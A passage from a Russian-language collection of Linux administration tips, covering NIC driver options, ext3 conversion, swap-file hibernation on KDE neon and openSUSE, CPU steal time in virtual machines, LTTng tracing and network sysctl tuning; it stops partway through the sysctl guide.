    В /etc/modules.conf:  
      options eepro100 options=0x200 full_duplex=1
      alias eth0 eepro100 
    insmod eepro100.o debug=1 options=0x200
    Для ядра в boot приглашении:
         ether=0,0,0x200,eth0 
    PS. Для драйвера версии меньше 1.14 (mod_info -a eepro100) вместо 0x200 следует писать 0x30.
    
     
    ----* Как перейти в Linux на файловую систему ext3 (доп. ссылка 1)   [комментарии]
     
    Выкачиваем и накладываем ext3 патчи (ftp://ftp.kernel.org/pub/linux/kernel/people/sct/ext3/) и 
    утилиты (ftp://download.sourceforge.net/pub/sourceforge/e2fsprogs/).
    Преобразуем ext2 FS в ext3 (для отмонтированного раздела hda1):
       tune2fs -j /dev/hda1
    Обратное преобразование (из ext3 в ext2):
       tune2fs -O ^has_journal /dev/hda1
       fsck.ext2 -f /dev/hdaX
    Для форматирование нового ext3 раздела:
       mke2fs -j /dev/hda1
    Как обновить версию журнала:
       mount /dev/hdaX /mnt -o journal=update
    
     
    ----* Как посмотреть установки конфигурации для бинарного ядра Linux   [обсудить]
     
    Если ядро было собрано с опцией CONFIG_PROC_CONFIG=Y:
    zcat /proc/config.gz
    
     
    ----* Активация режима гибернации в KDE neon   Автор: popov895  [комментарии]
     
    Алгоритм почти такой же, как и для openSUSE, но небольшие отличия все-таки
    есть. Итак, создаём файл подкачки. Я решил разместить его в каталоге
    /var/lib/swap. Создаём каталог и закрываем к нему доступ всем, кроме root:
    
       sudo mkdir -p /var/lib/swap
       sudo chmod 700 /var/lib/swap
    
    Создаём файл, который будет использоваться как файл подкачки (у меня он будет
    размером 11 Гб), и закрываем к нему доступ всем, кроме root:
    
       sudo fallocate -l 11G /var/lib/swap/swapfile
       sudo chmod 600 /var/lib/swap/swapfile
    
    Настраиваем и активируем файл подкачки:
    
       sudo mkswap /var/lib/swap/swapfile
       sudo swapon /var/lib/swap/swapfile
    
    Чтобы файл подкачки автоматически монтировался во время загрузки, необходимо
    прописать его в /etc/fstab. Не забываем делать резервные копии
    системных файлов, которые планируем редактировать!:
    
       /var/lib/swap/swapfile none swap defaults 0 0
    
    
    Далее нам нужно указать в grub, откуда система должна загружать данные после
    выхода из режима гибернации. Нам нужно узнать:
    1. ID раздела, на котором находится файл подкачки
    2. физическое смещение файла подкачки на этом разделе.
    ID раздела мы можем найти в том же /etc/fstab. У меня этот ID равен b92afe00-6cc9-4231-a03e-282bc6a560ef:
    
       cat /etc/fstab
       UUID=b92afe00-6cc9-4231-a03e-282bc6a560ef / ext4 defaults 0 1
    
    Смещение находим с помощью команды swap-offset, у меня это значение равно 317440:
    
       sudo swap-offset /var/lib/swap/swapfile
       resume offset = 317440
    
    Записываем полученные данные в файл /etc/default/grub. Находим
    параметр GRUB_CMDLINE_LINUX_DEFAULT и добавляем к нему запись вида
    resume=UUID=<UUID> resume_offset=<offset>. У меня это выглядит так:
    
       GRUB_CMDLINE_LINUX_DEFAULT="splash=silent mitigations=auto quiet resume=UUID=b92afe00-6cc9-4231-a03e-282bc6a560ef resume_offset=317440"
    
    Далее необходимо обновить файл конфигурации grub:
    
       sudo update-grub
    
    Гибернация уже должна работать, это можно проверить с помощью команды
    systemctl hibernate. Единственное, чего нам не хватает - возможности
    перехода в режим гибернации из пользовательского интерфейса. Чтобы это
    исправить, нам нужно создать файл
    /etc/polkit-1/localauthority/50-local.d/99-hibernate.pkla с таким содержимым:
    
       [Enable hibernate in upower]
       Identity=unix-user:*
       Action=org.freedesktop.upower.hibernate
       ResultActive=yes
       
       [Enable hibernate in logind]
       Identity=unix-user:*
       Action=org.freedesktop.login1.hibernate;org.freedesktop.login1.handle-hibernate-key;org.freedesktop.login1;org.freedesktop.login1.hibernate-multiple-sessions;org.freedesktop.login1.hibernate-ignore-inhibit
       ResultActive=yes
    
    Перезагружаемся и проверяем работу режима гибернации.
    
     
    ----* Активация режима гибернации в openSUSE Tumbleweed   Автор: popov895  [комментарии]
     
    Имеется установленная openSUSE Tumbleweed с KDE, на разделах в качестве
    файловой системы используется ext4. Чтобы иметь возможность использовать
    гибернацию, необходимо иметь раздел подкачки или файл подкачки. Я предпочитаю
    использовать файл подкачки, потому что в любое время можно легко изменить его
    размер или вовсе его удалить, С разделом же придется повозится. Я буду
    использовать файл подкачки. В случае с btrfs следует использовать раздел подкачки.
    
    Итак, создаём файл подкачки. Чтобы он не мозолил глаза, я решил разместить его
    в каталоге /var/lib/swap. Создаём каталог:
    
       sudo mkdir -p /var/lib/swap
    
    Закрываем к нему доступ всем, кроме root:
    
       sudo chmod 700 /var/lib/swap
    
    Чтобы выбрать оптимальный размер файла подкачки, я воспользовался таблицей.
    Для себя я выбрал размер 11 Гб (11534336 байт). Создаем файл, который будет
    использоваться как файл подкачки:
    
       sudo dd if=/dev/zero of=/var/lib/swap/swapfile bs=1024 count=11534336
    
    Закрываем к нему доступ всем, кроме root:
    
       sudo chmod 600 /var/lib/swap/swapfile
    
    Настраиваем файл подкачки:
    
       sudo mkswap /var/lib/swap/swapfile
    
    Активируем файл подкачки:
    
       sudo swapon /var/lib/swap/swapfile
    
    Уже после этих действий должен появится пункт перехода в режим гибернации, но
    сама режим пока что работать не будет. Чтобы файл подкачки автоматически
    монтировался во время загрузки, необходимо прописать его в
    /etc/fstab. Не забываем делать резервные копии системных
    файлов, которые планируем редактировать!:
    
       /var/lib/swap/swapfile none swap defaults 0 0
    
    Далее нам нужно указать в grub, откуда система должна загружать данные после
    выхода из режима гибернации. Нам нужно узнать:
    1. ID раздела, на котором находится файл подкачки
    2. физическое смещение файла подкачки на этом разделе.
    ID раздела мы можем найти в том же /etc/fstab. У меня этот ID равен f68ed3c5-da10-4288-890f-b83d8763e85e:
    
       cat /etc/fstab
       UUID=4e73657c-f1d2-4f52-9909-1226a6fe6493  /          ext4  defaults          0  1
    
    Смещение находим с помощью команды filefrag. Значением смещения
    является левое верхнее число столбца physical_offset в двумя горизонтальными
    точками (..) в конце. У меня это значение равно 337920:
    
       sudo filefrag -v /var/lib/swap/swapfile
       File size of /var/lib/swap/swapfile is 11811160064 (2883584 blocks of 4096 bytes)
       ext:     logical_offset:        physical_offset: length:   expected: flags:
       0:        0..   14335:     337920..    352255:  14336:
       1:    14336..   20479:     378880..    385023:   6144:     352256:
       2:    20480..   22527:     387072..    389119:   2048:     385024:
       ...
    
    Записываем полученные данные в файл /etc/default/grub. Находим
    параметр GRUB_CMDLINE_LINUX_DEFAULT и добавляем к нему запись вида
    resume=UUID=<UUID> resume_offset=<offset>. У меня это выглядит так:
    
       GRUB_CMDLINE_LINUX_DEFAULT="splash=silent mitigations=auto quiet resume=UUID=4e73657c-f1d2-4f52-9909-1226a6fe6493 resume_offset=337920"
    
    Далее необходимо обновить файл конфигурации grub:
    
       sudo grub2-mkconfig -o /boot/grub2/grub.cfg
    
    или для EFI:
    
       sudo grub2-mkconfig -o /boot/efi/EFI/opensuse/grub.cfg
    
    И последнее, что нам нужно сделать - пересобрать initramfs с поддержкой модуля
    resume. Для этого создаём файл /etc/dracut.conf.d/99-resume.conf с
    таким содержимым:
    
       add_dracutmodules+=resume
    
    И, собственно, пересобираем initramfs:
    
       sudo dracut -fv
    
    Перезагружаемся и проверяем работу режима гибернации.
    
     
    ----* Откуда берется steal внутри виртуальных машин и что с этим делать (доп. ссылка 1)   Автор: Mail.Ru Cloud Solutions  [комментарии]
     
    CPU steal time - это время, в течение которого виртуальная машина не получает
    ресурсы процессора для своего выполнения. Это время считается только в гостевых
    операционных системах в средах виртуализации.
    
    Что такое steal
    
    Steal  - это метрика, указывающая на нехватку процессорного времени для
    процессов внутри виртуальной машины. Как описано в патче ядра KVM, steal -
    это время, в течение которого гипервизор выполняет другие процессы на хостовой
    операционной системе, хотя он поставил процесс виртуальной машины в очередь на
    выполнение. То есть steal считается как разница между временем, когда процесс
    готов выполниться, и временем, когда процессу выделено процессорное время.
    
    Метрику steal ядро виртуальной машины получает от гипервизора. При этом
    гипервизор не уточняет, какие именно другие процессы он выполняет, просто
    "пока занят, тебе времени уделить не могу". На KVM поддержка подсчёта
    steal добавлена в патчах. Ключевых моментов здесь два:
    
    1.   Виртуальная машина узнает о steal от гипервизора. То есть, с точки зрения
    потерь, для процессов на самой виртуалке это непрямое измерение, которое может
    быть подвержено различным искажениям.
    
    2.   Гипервизор не делится с виртуалкой информацией о том, чем он занят -
    главное, что он не уделяет время ей. Из-за этого сама виртуалка не может
    выявить искажения в показателе steal, которые можно было бы оценить по
    характеру конкурирующих процессов.
    
    Как вычислить steal
    
    По сути, steal считается как обычное время утилизации процессора. В ядре
    добавляется ещё один счетчик непосредственно для процесса KVM (процесса
    виртуальной машины), который считает длительность пребывания процесса KVM в
    состоянии ожидания процессорного времени. Счетчик берет информацию о процессоре
    из его спецификации и смотрит, все ли его тики утилизированы процессом
    виртуалки. Если все, то считаем, что процессор занимался только процессом
    виртуальной машины. В ином случае информируем, что процессор занимался чем-то
    еще, появился steal.
    Подробнее читайте в статье Brendann Gregg.
    
    Как мониторить steal
    
    Мониторить steal внутри виртуальной машины можно как любую другую процессорную
    метрику. Главное, чтобы виртуалка была на Linux. Windows  такую информацию не предоставляет.
    
    Сложность возникает при попытке получить эту информацию с гипервизора. Можно
    попробовать спрогнозировать steal на хостовой машине, например, по параметру
    Load Average (LA) - усредненного значения количества процессов, ожидающих в
    очереди на выполнение. Методика подсчета этого параметра непростая, но в целом
    пронормированный по количеству потоков процессора LA > 1 указывает на
    перегрузку Linux-сервера.
    
    Чего же ждут все эти процессы? Очевидный ответ - процессора. Но иногда
    процессор свободен, а LA зашкаливает. На самом деле, процессы могут ожидать
    окончания любой блокировки, как физической, связанной с устройством
    ввода/вывода, так и логической, например мьютекса. Туда же относятся блокировки
    на уровне железа (того же ответа от диска) или логики (так называемых
    блокировочных примитивов).
    
    Ещё одна особенность LA в том, что оно считается как среднее значение по ОС,
    причём не меньше, чем за минуту. Например, 100 процессов конкурируют за один
    файл, тогда LA=50. Такое большое значение, казалось бы, говорит, что ОС плохо.
    Но для криво написанного кода это может быть нормой - плохо только ему, а
    другие процессы не страдают. Из-за этого усреднения (причём не меньше, чем за
    минуту), определение чего-либо по LA может закончиться весьма неопределенными
    результатами в конкретных случаях.
    
    Почему появляется steal и что делать
    
    Остановимся на основных причинах появления steal, с которыми мы столкнулись при
    работе с облачной платформой MCS, и способах борьбы с ними.
    
    Переутилизация. Самое простое и частое - много запущенных виртуальных машин,
    большое потребление процессора внутри них, большая конкуренция, утилизация по
    LA больше 1 (в нормировке по процессорным тредам). Внутри всех виртуалок всё
    тормозит. Steal, передаваемый с гипервизора, также растёт, надо
    перераспределять нагрузку или кого-то выключать.
    При этом нужно учитывать, что соотношение нагрузки на гипервизоре и steal
    внутри виртуальной машины не всегда однозначно взаимосвязаны. Обе оценки steal
    могут быть ошибочными в конкретных ситуациях при разных нагрузках.
    
    Паравиртуализация против одиноких инстансов. На гипервизоре одна единственная
    виртуалка, она потребляет небольшую его часть, но дает большую нагрузку по
    вводу/выводу, например по диску. И откуда-то в ней появляется небольшой steal,
    до 10%.
    
    Тут дело как раз в блокировках на уровне паравиртуализированных драйверов.
    Внутри виртуалки создается прерывание, оно обрабатывается драйвером и уходит в
    гипервизор. Из-за обработки прерывания на гипервизоре для виртуалки это
    выглядит как отправленный запрос, она готова к исполнению и ждёт процессора, но
    процессорного времени ей не дают. Виртуалка думает, что это время украдено.
    
    Это происходит в момент отправки буфера, он уходит в kernel space гипервизора,
    и мы начинаем его ждать. Хотя, с точки зрения виртуалки, он должен сразу
    вернуться. Следовательно, по алгоритму расчета steal это время считается
    украденным. Скорее всего, в этой ситуации могут быть и другие механизмы
    (например, обработка ещё каких-нибудь sys calls), но они не должны сильно отличаться.
    
    Небольшой steal можно считать нормой (даже и без паравиртуализации, с учётом
    нагрузки внутри виртуалки, особенностей нагрузки соседей, распределения
    нагрузки по тредам и прочего). Однако важно обращать внимание на то, как себя
    чувствуют приложения внутри виртуалок.
    
    Шедулер против высоконагруженных виртуалок. Когда одна виртуалка страдает от
    steal больше других, это связано с шедулером (распределением ресурсов между
    процессами) - чем сильнее процесс нагружает процессор, тем скорее шедулер
    его выгонит, чтобы остальные тоже могли поработать. Если виртуалка потребляет
    немного, она почти не увидит steal: её процесс честно сидел и ждал, ему дадут
    время. Если виртуалка дает максимальную нагрузку по всем своим ядрам, её чаще
    выгоняют с процессора и не дают много времени. Шедулер плохо относится к
    процессам, которые много просят. Большие виртуалки - зло.
    
    Низкий LA, но есть steal. LA примерно 0,7 (то есть, гипервизор, кажется
    недозагружен), но внутри отдельных виртуалок наблюдается steal:
    
    1.   Уже описанный выше вариант с паравиртуализацией. Виртуалка может получать
    метрики, указывающие на steal, хотя у гипервизора всё хорошо. По результатам
    наших экспериментов, такой вариант steal не превышает 10 % и не должен
    оказывать существенного влияния на производительность приложений внутри виртуалки.
    
    2.   Неверно считается LA. Точнее, в каждый конкретный момент он считается
    верно, но при усреднении получается заниженным. Например, если одна виртуалка
    на треть гипервизора потребляет все свои процессоры ровно полминуты, LA за
    минуту на гипервизоре будет 0,15; четыре такие виртуалки, работающие
    одновременно, дадут 0,6. А то, что полминуты на каждой из них был steal под 25
    % по LA, уже не вытащить.
    
    3.   Из-за шедулера, решившего, что кто-то слишком много ест, и пусть он
    подождет, пока я займусь другими важными системными вещами. В итоге одни
    виртуалки не видят никаких проблем, а другие испытывают серьезную деградацию производительности.
    
    Другие искажения
    
    Есть другие причины для искажений честной отдачи процессорного времени на
    виртуалке. Например, сложности в расчёты вносят гипертрединг и NUMA. Они
    запутывают выбор ядра для исполнения процесса, потому что шедулер использует
    коэффициенты - веса, которые при переключении контекста выполняют
    усложнённый подсчёт.
    
    Бывают искажения из-за технологий типа турбобуста или, наоборот, режима
    энергосбережения, которые при подсчёте утилизации могут искусственно повышать
    или понижать частоту или даже квант времени на сервере. Включение турбобуста
    уменьшает производительность одного процессорного треда из-за увеличения
    производительности другого. В этот момент информация об актуальной частоте
    процессора виртуальной машине не передается, и она считает, что её время кто-то
    тырит (например, она запрашивала 2 ГГц, а получила вдвое меньше).
    
    В общем, причин искажений может быть много. Чтобы выяснить steal в конкретной
    системе, исследуйте различные варианты, собирайте метрики, тщательно их
    анализируйте и продумывайте, как равномерно распределять нагрузку. От любых
    кейсов возможны отклонения, которые надо подтверждать экспериментально или
    смотреть в отладчике ядра. Начать лучше с книг, на которые я дал линки выше, и
    съёма статистики с гипервизора утилитами типа perf, sysdig, systemtap, коих десятки.
    
     
    ----* Как изменить параметры последовательного порта в Linux (доп. ссылка 1)   [комментарии]
     
    Вывод на экран текущих параметров:
        stty -F /dev/ttyS0 -a
        setserial -g /dev/ttyS0
    
    Включение Hardware flow control (RTS/CTS):
        stty -F /dev/ttyS0 crtscts
    
    Установка скорости порта:
        stty -F /dev/ttyS0 9600
    
    Установка прерывания и типа UART:
        setserial /dev/ttyS0 auto_irq skip_test autoconfig
        setserial /dev/ttyS0 irq 5 uart 16550A  skip_test
    
     
    ----* Как узнать подробную информацию о EX2FS, размер блоков, системные данные и т.д.   [обсудить]
     
    общие данные из суперблока - dumpe2fs -h /dev/раздел
    информацию о каждом блоке - dumpe2fs /dev/раздел
    Для FreeBSD нужно использовать dumpfs.
    
     

       Оптимизация и тюнинг в Linux

    ----* Использование LTTng для прозрачной трассировки приложений в Ubuntu Linux (доп. ссылка 1)   [комментарии]
     
    Система трассировки LTTng (http://lttng.org/) работает на уровне Linux-ядра и
    отличается минимальным влиянием на работу профилируемого приложения, что
    позволяет приблизить условия работы данного приложения к его выполнению без
    использования трассировки (например, позволяет выявлять проблемы с
    производительностью в программах, работающих в реальном режиме времени).
    
    Поддержка LTTng пока не включена в состав Linux-ядра, но недавно для Ubuntu
    Linux  был подготовлен специальный PPA-репозиторий, позволяющий значительно
    упростить установку LTTng.
    
    Приведем пример использования LTTng для отладки системы и тюнинга производительности.
    
    Подключаем репозиторий:
    
       sudo add-apt-repository ppa:lttng/ppa
       sudo aptitude update
    
    Устанавливаем компоненты для трассировки ядра (LTTng работает только с ядром
    2.6.35, поэтому в Ubuntu 10.04 может потребоваться установка экспериментального
    пакета с более новым ядром):
    
       sudo apt-get install lttng
    
    Установка утилит для трассировки пользовательских приложений:
    
       sudo apt-get install ust-bin libust-dev liburcu-dev
    
    Пример поддержи трассировки на уровне ядра
    
    Загружаем ядро lttng:
    
       sudo ltt-armall
    
    Начинаем трассировку:
    
       sudo lttctl -C -w /tmp/trace1 программа
    
    Прекращаем трассировку:
    
       sudo lttctl -D программа
    
    Результаты трассировки /tmp/trace1 теперь можно открыть в утилите lttv или
    использовать режим текстового дампа:
    
       lttv -m textDump -t /tmp/trace1 | grep ...
    
    
    Трассировка пользовательских приложений со связыванием специальной библиотеки
    
    Собираем приложения добавив в опции сборки флаг '-lust'.
    
    Запускаем приложение с трассировкой:
    
       usttrace исследуемая_программа
    
    Контроль трассировки с удаленной машины
    
    На локальной машине устанавливаем и запускаем программу-агент:
    
       sudo apt-get install tcf-lttng-agent
       sudo tcf-agent
    
    На удаленной машине устанавливаем и запускаем клиента:
    
       sudo apt-get install tcf-lttng-client
       tcf-client
    
    далее, в появившейся консоли вводим:
       connect ip_локальной_машины
    
    и после соединения передаем управляющие команды:
       tcf ltt_control getProviders
       tcf ltt_control setupTrace "kernel" "0" "traceTest"
    
    
    Пример трассировки
    
    Рассмотрим для примера простую программу, открывающую файл и записывающую в него циклично числа.
    
        #include <stdio.h>
        #define INT_MAX 2147483647
        int main(volatile int argc, char **argv) {
          int i = 3;
          FILE *fd = fopen("test.out", "w");
          fwrite(&i, sizeof(int), 1, fd);
          fclose(fd);
          volatile long a;
          int x;
          for (x = 0; x<INT_MAX; x++) {
            a++;
          }
          return 0;
       }
    
    Собираем данную программу:
    
       gcc -o usecase usecase.c
     
      
    Теперь попробуем выполнить трассировку при помощи LTTng.
    
    Активируем точки трассировки в ядре:
    
       sudo ltt-armall
    
    Для автоматизации выполнения активации трассировки, запуска программы и
    остановки трассировки напишем небольшой скрипт trace-cmd.sh:
    
       #!/bin/sh
       if [ -z "$@" ]; then
         echo "missing command argument"
         exit 1
       fi
       cmd="$@"
    
       name="cmd"
       dir="$(pwd)/trace-$name"
       sudo rm -rf $dir
       sudo lttctl -o channel.all.bufnum=8 -C -w $dir $name
       echo "executing $cmd..."
       $cmd
       echo "return code: $?" 
       sudo lttctl -D $name
    
    Запускаем:
    
       ./trace-cmd.sh ./usecase
    
    После выполнения трассировки для наглядного анализа результатов запускаем
    GUI-утилиту lttv-gui, заходим в меню File->Add и выбираем  директорию
    трассировки  "trace-имя", сохраненную в каталоге, в котором был запущен скрипт
    trace-cmd.sh. Каждое из событий трассировки представлено в виде графика. Для
    нашего тестового приложения будет присутствовать три фазы: создание/доступ к
    файлу, вычислительная фаза и завершение процесса.
    
    Оценка различий от strace
    
    Если сравнить результаты работы стандартной утилиты strace:
    
       strace -o usecase.strace ./usecase
    
    В дополнение к системным вызовам, LTTng учитывает задействование подсистем
    ядра, события планировщика задач, обработку прерываний и прочие детали,
    недоступные в выводе strace. Но самым интересным отличием от strace является
    то, что программа никаким образом не может определить, что подвергается
    трассировке. Время наступления событий отображается в наносекундах. Влияние на
    производительность трассировки минимально, тестирование показало, что работа
    замедляется не более чем на 3%.
    
     
    ----* Часто используемые параметры sysctl, касающиеся настройки сети в Linux (доп. ссылка 1)   Автор: zersh  [комментарии]
     
    От переводчика (@zersh).
    
    Это адаптированный перевод работы https://github.com/leandromoreira/linux-network-performance-parameters
    Для понимания некоторых моментов использовалась статья. Принимаются любые
    замечания и предложения. Спасибо zizmo и @servers(Artem) - за помощь и
    конструктивную критику)
    Лицензия: BSD-3
    
    Введение
    
    Иногда люди пытаются найти некие универсальные значения параметров sysctl
    (https://www.kernel.org/doc/Documentation/networking/ip-sysctl.txt), применение
    которых во всех случаях позволит добиться и высокой пропускной способности, и
    низкой задержки при обработке сетевых запросов. К сожалению, это не возможно,
    хотя стоит отметить, что современные версии ядер по умолчанию уже неплохо
    настроены. Важно понимать, что изменение заданных по умолчанию настроек может
    ухудшить производительность (https://medium.com/@duhroach/the-bandwidth-delay-problem-c6a2a578b211).
    
    Это краткое руководство, в котором приведены часто используемые параметры
    sysctl, касающиеся настройки сети Linux, вдохновлённый иллюстрированным
    руководством по сетевому стеку Linux
    (https://blog.packagecloud.io/eng/2016/10/11/monitoring-tuning-linux-networking-stack-receiving-data-illustrated/) и
     многими постами Marek Majkowski (https://blog.cloudflare.com/how-to-achieve-low-latency/).
    
    
    Обзор сетевых очередей Linux
    
    
    
    
    
    Связь переменных sysctl с различными стадиями обработки сетевых потоков в Linux
    
    
    Входящие пакеты (Ingress)
    
    1. Пакеты прибывают в NIC (сетевой адаптер)
    
    2. NIC проверяет `MAC` (если не включён promiscuous-режим) и `FCS (Frame check
    sequence)` и принимает решение отбросить пакет или продолжить обработку.
    
    3. NIC используя DMA (https://en.wikipedia.org/wiki/Direct_memory_access),
    помещает пакеты в RAM регионе, ранее подготовленном (mapped) драйвером.
    
    4. NIC ставит ссылки в очередь на пакеты при получении ring buffer
    (https://en.wikipedia.org/wiki/Circular_buffer) очередь `rx` до истечения
    таймаута  `rx-usecs` или `rx-frames`
    
    5. NIC Генерируется аппаратное прерывание, чтобы система узнала о появлении
    пакета в памяти `hard IRQ`
    
    6. CPU запустит `IRQ handler`, который запускает код драйвера
    
    7. Драйвер вызовет  `планировщик NAPI`, очистит `hard IRQ` 
    
    8. Драйвер будит подсистему NAPI с помощью `soft IRQ (NET_RX_SOFTIRQ)`
    
    9. NAPI опрашивает данные, полученные из кольцевого буфера до тех пор пока не
    истечёт таймаут `netdev_budget_usecs`, или `netdev_budget` и `dev_weight` пакета
    
    10. Linux также выделяет память для `sk_buff`
    
    11. Linux заполняет метаданные: протокол, интерфейс, устанавливает MAC-адрес
    (setmacheader), удаляет ethernet
    
    12. Linux передаёт skb (данные) в стэк ядра (`netif_receive_skb`)
    
    13. Установит сетевые заголовки, клонирует `skb` ловушкам (вроде tcpdump) и передаст на вход
    
    14. Пакеты обрабатываются в qdisc (Queueing discipline) размера
    `netdev_max_backlog`, алгоритм которого определяется `default_qdisc`
    
    15. Вызывает `ip_rcv` и пакеты обрабатываются в IP
    
    16. Вызывает netfilter (`PREROUTING`)
    
    17. Проверяет маршрутизацию, кому предназначен пакет: переслать (forwarding) или локально (local)
    
    18. Если локально, вызывает netfilter (`LOCAL_IN`)
    
    19. Это вызовет протокол L4 (для примера `tcp_v4_rcv`)
    
    20. Находит нужный сокет
    
    21. Переходит на конечный автомат tcp (finite state machine).
    
    22. Поставит пакет в входящий буфер, размер которого определяется правилами
    `tcp_rmem`. Если `tcp_moderate_rcvbuf` включён, ядро будет автоматически тюнить
     буфер приёма (receive)
    
    23. Ядро сигнализирует приложению, что доступны данные (epoll или другая  polling-система)
    
    24. Приложение просыпается и читает данные
    
    Исходящие пакеты (Egress)
    
    1. Приложение отправляет сообщение (`sendmsg` или другие)
    
    2. TCP-стек выделяет память для skb_buff
    
    3. Помещает skb в сокет буфера, размером `tcp_wmem`
    
    4. Создаст TCP заголовки (источник и порт назначения, контрольная сумма)
    
    5. Вызывает обработчик L3 (в данном случае `ipv4` в `tcp_write_xmit` и 
    `tcp_transmit_skb`)
    
    6. L3 (`ip_queue_xmit`)  построит заголовок IP и вызовет netfilter (`LOCAL_OUT`)
    
    7. Вызывает действие выходного маршрута (Calls output route action)
    
    8. Вызывает netfilter (`POST_ROUTING`)
    
    9. Фрагментирует пакет (`ip_output`)
    
    10. Вызывает функции отправки L2 (`dev_queue_xmit`)
    
    11. Подаёт на выход (QDisc) очередь длинной `txqueuelen` с алгоритмом `default_qdisc`
    
    12. Код драйвера помещает пакеты в `ring buffer tx`
    
    13. Драйвер генерирует `soft IRQ (NET_TX_SOFTIRQ)` после `tx-usecs` таймаута или `tx-frames`
    
    14. Реактивирует аппаратное прерывание (IRQ) в NIC
    
    15. Драйвер отражает (map) все пакеты (для отправки) в некоторую область DMA
    
    16. NIC получит пакеты (через DMA) из RAM для передачи
    
    17. После передачи NIC поднимет сигнал `hard IRQ` о его завершении
    
    18. Драйвер обработает это прерывание IRQ (выключает)
    
    19. И планирует (`soft IRQ`) NAPI poll system 
    
    20. NAPI будет обрабатывать сигналы приёма пакетов и освобождать ОЗУ
    
    
    Для отслеживания обработки событий, связанных с выполнением сетевой операции,
    можно использовать команду:
    
       perf trace --no-syscalls --event 'net:*' ping globo.com -c1 > /dev/null
    
    
    
    
    Что, Почему и Как - сеть и  sysctl параметры
    
    Кольцевой буфер (Ring Buffer) - rx, tx
    
    Что: драйвер очереди приёма/отправки одной или нескольких очередей с
    фиксированным размером, обычно реализованный как FIFO, находится в ОЗУ
    
    Почему: буфер для плавного прима соединений без их отбрасывания. Возможно, вам
    понадобится увеличить эти очереди, когда вы увидите сбросы (drops) или
    переполнения, то есть, если поступает больше пакетов, чем ядро может
    обработать. Побочным эффектом от увеличения буфера может стать увеличение задержки.
    
    Как:
    
    Команда проверки: 
    
       ethtool -g ethX
    
    Как изменить: 
    
       ethtool -G ethX rx значение tx значение
    
    Как мониторить: 
    
       ethtool -S ethX | grep -e "err" -e "drop" -e "over" -e "miss" -e "timeout" -e "reset" -e "restar" -e "collis" -e "over" | grep -v "\: 0"
     
    Слияние прерываний (Interrupt Coalescence - IC) - rx-usecs, tx-usecs,
    rx-frames, tx-frames (аппаратные IRQ)
    
    Что: количество микросекунд / кадров, ожидающих перед поднятием hard IRQ, с
    точки зрения сетевого адаптера это будет пакеты данных DMA до этого тайм-аута /
    количества кадров
    
    Почему: сокращение использования CPUs, аппаратных IRQ, может увеличить
    пропускную способность за счет задержки.
    
    Как:
    
    Команда проверки:
    
       ethtool -c ethX
    
    Как изменить:
    
       ethtool -C ethX rx-usecs value tx-usecs value
    
    Как мониторить:
    
       cat /proc/interrupts
      
    
    Объединение прерываний (soft IRQ) и   управления сетевыми очередями  QDisc
    входящих пакетов (ingress).
    
    
    Что: максимальное число микросекунд в одном NAPI
    (https://en.wikipedia.org/wiki/New_API) цикле опроса. Опрос завершится когда,
    либо `netdev_budget_usecs` истечёт по временя цикла опроса или количество
    обработанных пакетов достигнет `netdev_budget`.
    
    Почему: вместо того чтобы обрабатывать кучу softIRQ, драйвер сохраняет данные в
    пуле (polling data); следите за состояниями `dropped` (число пакетов,
    отброшенных из-за того, что `netdev_max_backlog` был превышен) и  `squeezed`
    (число раз когда ksoftirq превысил `netdev_budget`).
    
    
    Как:
    
    Команда проверки:
    
       sysctl net.core.netdev_budget_usecs
    
    Как изменить:
    
       sysctl -w net.core.netdev_budget_usecs value
    
    Как мониторить:
    
       cat /proc/net/softnet_stat
    
    или скриптом.
    
    
    Что: `netdev_budget` максимальное количество пакетов, взятых со всех
    интерфейсов за один цикл опроса (NAPI poll). В одном цикле опроса интерфейсы,
    которые зарегистрированы для опроса, зондируются круговым способом. Кроме того,
    цикл опроса не может превышать `netdev_budget_usecs` микросекунд, даже если
    `netdev_budget` не был исчерпан.
    
    
    Как:
    
    Команда проверки:
    
       sysctl net.core.netdev_budget
    
    Как изменить:
    
       sysctl -w net.core.netdev_budget value
    
    Как мониторить:
    
    cat /proc/net/softnet_stat
    
    или скриптом.
    
    
    Что: `dev_weight` максимальное количество пакетов, которое ядро может
    обработать при прерывании NAPI, это переменная для каждого процессора. Для
    драйверов, которые поддерживают LRO или GRO_HW, аппаратно агрегированный пакет
    считается в этом пакете одним.
    
    Как:
    
    Команда проверки:
    
       sysctl net.core.dev_weight
    
    Как изменить:
    
      sysctl -w net.core.dev_weight value
    
    Как мониторить:
    
       cat /proc/net/softnet_stat 
    
    или скриптом.
    
    
    Что: `netdev_max_backlog` максимальное количество пакетов, находящихся в
    очереди на стороне INPUT (входной qdisc_), когда интерфейс получает пакеты
    быстрее, чем ядро может их обработать.
    
    Как:
    
    Команда проверки:
    
       sysctl net.core.netdev_max_backlog
    
    Как изменить:
    
       sysctl -w net.core.netdev_max_backlog value
    
    Как мониторить:
    
       cat /proc/net/softnet_stat
    
    или скриптом.
    
    
    
    Исходящие QDisc - txqueuelen (длина очереди tx) и default_qdisc
    
    
    Что: `txqueuelen` максимальное количество пакетов, поставленных в очередь на стороне вывода.
    
    Почему: buffer/queue появление разрывов соединений, а также примением контроля трафика
    tc (traffic control).
    
    Как:
    
    Команда проверки:
    
       ifconfig ethX
    
    Как изменить:
    
       ifconfig ethX txqueuelen value
    
    Как мониторить:
    
       ip -s link
    
     
    Что: `default_qdisc` дисциплина очереди по умолчанию, используемая для сетевых устройств.
    
    Почему: Каждое приложение имеет разную нагрузку и требует контроля трафика, оно
    также используется для борьбы с  излишней сетевой буферизацией bufferbloat.
    
    Как:
    
    Команда проверки:
    
       sysctl net.core.default_qdisc
    
    
    Как изменить: 
    
       sysctl -w net.core.default_qdisc value
    
    Как мониторить:
    
       tc -s qdisc ls dev ethX
    
    
    Буферы/очереди чтения и записи (TCP Read and Write Buffers/Queues)
    
    Что: `tcp_rmem` - min (минимальный размер доступный при создании сокета),
    default (начальный размер), max (максимальный размер) - максимальный размер
    приёмного буфера TCP.
    
    Почему: буфер/очередь приложения для записи/отправки данных. Понять последствия
    может помочь статья https://blog.cloudflare.com/the-story-of-one-latency-spike/
    
    Как:
    
    Команда проверки:
    
       sysctl net.ipv4.tcp_rmem
    
    Как изменить: 
    
       sysctl -w net.ipv4.tcp_rmem="min default max"
    
    когда меняете значение по умолчанию, не забудьте перезагрузить приложения в
    пользовательском окружении (т.е. ваш веб-сервер, nginx, и т.п.)
    
    Как мониторить:
    
       cat /proc/net/sockstat
    
    
    Что: `tcp_wmem` - min (минимальный размер доступный при создании сокета),
    default (начальный размер), max (максимальный размер) - размер буфера отправки,
    используемого сокетами TCP.
    
    Как:
    
    Команда проверки: 
    
